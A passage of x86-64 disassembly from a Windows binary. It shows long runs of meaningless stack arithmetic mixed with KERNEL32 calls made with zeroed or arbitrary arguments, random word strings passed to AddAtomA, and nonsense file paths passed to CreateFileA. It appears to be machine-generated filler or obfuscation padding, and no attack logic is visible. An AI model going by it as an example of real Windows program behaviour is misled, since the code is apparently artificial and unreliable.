call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4934], eax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4350], eax
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0xae10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x94f0], rax
lea rcx, str.stairwells_depraved_Affect_pandas
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf64], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9528], rax
lea rcx, [rsp + 0x25688]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0x6f]
mov qword [rsp + 0xb418], rax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e7748]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0xf6]
add eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xc38]
or eax, ecx
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0xa0b8]
movzx eax, word [rax]
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0xafb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa2f8]
shl rax, cl
mov rcx, qword [rsp + 0xad78]
mov qword [rcx], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x67d
mov r9d, 0x3d0b
mov r8d, 0x58a33af7
mov edx, 2
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4660], eax
mov rax, qword [rsp + 0x96f8]
mov eax, dword [rax]
mov dword [rsp + 0x4938], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x46b0], eax
mov rax, qword [rsp + 0x9e28]
mov rax, qword [rax]
mov qword [rsp + 0xb420], rax
lea rdx, [rsp + 0x4438]
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x493c], eax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0x91b8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc4], al
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov rcx, qword [0x1401e7750]
mov byte [rcx], al
movzx ecx, word [rsp + 0xd30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbac], ax
mov rax, qword [rsp + 0x9b60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf84]
and eax, ecx
mov word [rsp + 0xef8], ax
lea rax, [rsp + 0xf94]
mov qword [rsp + 0xb428], rax
movzx eax, word [rsp + 0xe3c]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xa0e0]
mov word [rcx], ax
lea rcx, str.Complements_respite
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xfc0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0xd2]
mov qword [rsp + 0xb430], rax
mov rax, qword [rsp + 0x9088]
mov ecx, dword [rsp + 0x45dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x490c], eax
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [0x1401e6020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0f0], rax
mov rax, qword [rsp + 0xb250]
mov rax, qword [rax]
mov qword [rsp + 0xb438], rax
mov eax, dword [rsp + 0x458c]
mov ecx, dword [rsp + 0x48d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4838], eax
mov r9d, 0x13a3
xor r8d, r8d
lea rdx, [rsp + 0x9058]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x43e4], eax
lea rax, [0x1401e76b8]
mov qword [0x1401e77f0], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb148]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe44], ax
mov r9d, 1
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0xa568]
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4940], eax
movsx eax, byte [0x1401e605b]
movsx ecx, byte [rsp + 0x66]
add eax, ecx
mov byte [rsp + 0x73], al
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0xb440], rax
mov rax, qword [rsp + 0xaf70]
mov ecx, dword [rsp + 0x43c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0x9f60]
mov qword [rsp + 0xb448], rax
mov rax, qword [rsp + 0x91f8]
mov rcx, qword [rsp + 0xae58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa718]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa978]
mov ecx, dword [rsp + 0x4340]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401e74b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa398]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1401e7678], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0xb450], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x55b0
mov rcx, qword [rsp + 0xb0a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48e0], eax
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xb058]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x12d], al
movzx eax, word [rsp + 0xcac]
movzx ecx, word [rsp + 0xc2c]
sar eax, cl
mov word [rsp + 0xdec], ax
mov eax, dword [rsp + 0x43d4]
mov dword [rsp + 0x4944], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xb458], rax
mov rax, qword [rsp + 0xa578]
mov rax, qword [rax]
mov rcx, qword [0x1401e7410]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4608], eax
mov rax, qword [rsp + 0x9fc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4570]
shl eax, cl
mov dword [rsp + 0x47b0], eax
mov rax, qword [rsp + 0x9500]
mov qword [rsp + 0xb460], rax
lea rax, [rsp + 0xdf]
mov qword [0x1401e77f8], rax
mov rax, qword [rsp + 0xaf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
mov byte [rsp + 0x12e], al
movsx eax, word [rsp + 0xea0]
movsx ecx, word [0x1401e6074]
sub eax, ecx
mov word [rsp + 0xde8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:_barberCondescendingglistenedcensure
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb468], rax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa530]
mov word [rcx], ax
mov rax, qword [rsp + 0xabf0]
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa640]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ef8]
mov qword [rcx], rax
lea rax, [rsp + 0x4688]
mov qword [rsp + 0xb478], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4540], eax
mov rax, qword [rsp + 0xa388]
mov rcx, qword [rsp + 0x9ae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44cc], eax
movzx eax, word [rsp + 0xbd4]
movzx ecx, word [rsp + 0xec4]
add eax, ecx
mov word [0x1401e60f0], ax
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov rcx, qword [rsp + 0xb3c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x116]
mov byte [rsp + 0x12f], al
mov rax, qword [0x1401e7598]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa678]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde4], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb480], rax
movzx eax, word [rsp + 0xbd8]
mov word [rsp + 0xfc4], ax
lea rdx, [rsp + 0xada8]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4500], eax
mov rax, qword [rsp + 0xa060]
mov rcx, qword [rsp + 0x9470]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa918], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xcb45
mov rcx, qword [rsp + 0xae48]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4948], eax
mov rax, qword [rsp + 0x9230]
mov eax, dword [rax]
mov dword [rsp + 0x494c], eax
movzx ecx, word [rsp + 0xe5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0x9b38]
mov rcx, qword [rsp + 0xb3e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x99f8], rax
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov dword [rcx], eax
mov rax, qword [0x1401e7738]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8f0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1401e7500]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xb3c8]
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0x9e30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb8]
or eax, ecx
mov word [rsp + 0xda4], ax
lea rax, [0x1401e608c]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
xor eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0xaad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac30]
mov qword [rsp + 0xb490], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb490]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov dword [rsp + 0x4950], eax
mov rax, qword [rsp + 0xa7c8]
mov ecx, dword [rsp + 0x450c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4868], eax
mov rax, qword [rsp + 0xb2f8]
mov rax, qword [rax]
mov qword [rsp + 0xb498], rax
mov rax, qword [rsp + 0xaae8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [0x1401e746d], al
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0xde4]
add eax, ecx
mov word [rsp + 0xf20], ax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [0x1401e6070]
and eax, ecx
mov rcx, qword [rsp + 0x9fd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xca]
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x111], al
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, str.Unsullied_rampart_Lifelessly_inordinate_grislier
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0x44e4]
mov qword [rsp + 0xb4a0], rax
mov rax, qword [rsp + 0x9a30]
mov eax, dword [rax]
mov ecx, dword [0x1401e6018]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4558], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0x9e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa628], rax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0xb4a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0x89]
mov qword [0x1401e7800], rax
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4954], eax
mov rax, qword [rsp + 0xa800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd7c]
sub eax, ecx
mov word [rsp + 0xfb0], ax
movzx eax, word [rsp + 0xda0]
mov word [rsp + 0xfcc], ax
mov rax, qword [rsp + 0xa240]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov rcx, qword [rsp + 0xa2f0]
mov byte [rcx], al
lea rax, [rsp + 0xba0]
mov qword [rsp + 0xb4b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x454c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:_flauntgriffon
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb4b8], rax
mov eax, dword [rsp + 0x445c]
movzx ecx, al
mov eax, dword [rsp + 0x483c]
shl eax, cl
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0xadb8]
mov rcx, qword [rsp + 0x9a38]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
lea rax, [rsp + 0x9c48]
mov qword [rsp + 0xb4c0], rax
mov eax, dword [rsp + 0x4764]
mov rcx, qword [rsp + 0xac20]
mov qword [rsp + 0xb4c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4c8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x98b8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx eax, byte [0x1401e741b]
mov byte [rsp + 0x132], al
lea rax, [rsp + 0xde8]
mov qword [0x1401e7808], rax
movzx eax, byte [rsp + 0xe8]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa230]
mov byte [rcx], al
mov rax, qword [rsp + 0xa6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xebc]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb190]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4774], eax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xb4d0], rax
mov rax, qword [rsp + 0x9550]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xafd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
lea rax, [rsp + 0x46b0]
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xa938]
mov rcx, qword [rsp + 0x9af8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb470], rax
mov rax, qword [rsp + 0xb068]
mov ecx, dword [rsp + 0x4594]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4624], eax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xe70]
movsx ecx, word [rsp + 0xbc0]
sub eax, ecx
mov rcx, qword [0x1401e7510]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xada8]
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4958], eax
movzx eax, word [rsp + 0xdfc]
movzx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xcac], ax
lea rax, [0x1401e76f0]
mov qword [rsp + 0xb4e0], rax
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x47f8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, word [rsp + 0xfb8]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:DefterKing
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb4e8], rax
lea rcx, [rsp + 0x94b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xac68]
mov rax, qword [rax]
mov qword [rsp + 0xb4f0], rax
lea rdx, [rsp + 0xa478]
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x44d8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb4f8], rax
mov rax, qword [rsp + 0xa098]
mov rcx, qword [0x1401e7420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0x9438]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2e0]
mov eax, dword [rax]
mov dword [rsp + 0x495c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov edx, 0x2499
mov rcx, qword [rsp + 0x9b48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x472c], eax
lea rcx, str.Syringe_waterspouts_Healths
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xfd0], ax
mov rax, qword [rsp + 0x9b78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe30]
sub eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9d]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7748]
mov byte [rcx], al
lea rax, [rsp + 0xc78]
mov qword [rsp + 0xb500], rax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62]
xor eax, ecx
mov byte [rsp + 0x112], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
movsx eax, byte [rsp + 0x127]
movsx ecx, byte [rsp + 0xff]
or eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0xa0c0]
mov eax, dword [rax]
mov dword [rsp + 0x4960], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9f9c
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4828]
sar eax, cl
mov dword [rsp + 0x489c], eax
mov rax, qword [rsp + 0xb0f8]
mov qword [rsp + 0xb508], rax
mov rax, qword [rsp + 0x91f8]
movzx ecx, al
mov rax, qword [rsp + 0xa700]
shl rax, cl
mov qword [rsp + 0x9c28], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb510], rax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xdc4]
and eax, ecx
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd44]
sub eax, ecx
mov word [0x1401e60f4], ax
mov rax, qword [rsp + 0x96d0]
movzx eax, byte [rax]
mov byte [rsp + 0x134], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x46f0], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x8ca0]
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0xa4b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0xa8d0]
mov rcx, qword [rsp + 0xa0b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0xb518], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4400], eax
lea rcx, [rsp + 0x26a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x4878]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x46c4], eax
lea rax, [rsp + 0xa9c0]
mov qword [rsp + 0xb520], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb528], rax
movzx ecx, word [rsp + 0xfc8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xed4], ax
movzx eax, word [rsp + 0xf0c]
mov word [0x1401e7810], ax
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa480]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc74], ax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xb530], rax
movsx eax, word [rsp + 0xb98]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x9d80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11a]
sub eax, ecx
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0xa7d8]
mov qword [rsp + 0xb538], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0xb478]
mov ecx, dword [rsp + 0x48b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x476c]
mov dword [rsp + 0x4964], eax
mov r9d, 1
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0xa9e0]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4968], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rcx, qword [rsp + 0xaed0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x45f8], eax
mov rax, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xa838]
mov qword [rsp + 0xb540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb540]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa3f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:_stockistcommodoreLeftish
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0xa8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd18]
xor eax, ecx
mov rcx, qword [0x1401e77b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
mov rcx, qword [0x1401e7708]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaa68]
mov word [rcx], ax
lea rax, [rsp + 0x54]
mov qword [rsp + 0xb550], rax
mov rax, qword [rsp + 0xa760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd18]
or eax, ecx
mov word [rsp + 0xc2c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
lea rax, [rsp + 0x8f]
mov qword [rsp + 0xb558], rax
xor edx, edx
mov rax, qword [rsp + 0xb4d8]
mov eax, dword [rax]
div dword [rsp + 0x4894]
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa690]
mov rcx, qword [rsp + 0xa8b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9880], rax
mov eax, dword [rsp + 0x4584]
mov dword [rsp + 0x496c], eax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0x9be0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa428]
mov qword [rcx], rax
lea rax, [rsp + 0x122]
mov qword [0x1401e7818], rax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x136], al
lea rcx, str.picnicking_Basilisks
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xdb8], ax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0xa198]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb428]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8f60], rax
lea rax, [rsp + 0xbd8]
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cc8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xa098]
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0x9f90]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4718], eax
lea rcx, [rsp + 0x26908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb120]
mov eax, dword [rax]
mov dword [rsp + 0x4970], eax
movsx eax, word [rsp + 0xdc4]
movsx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [0x1401e772c], ax
movzx eax, byte [rsp + 0x51]
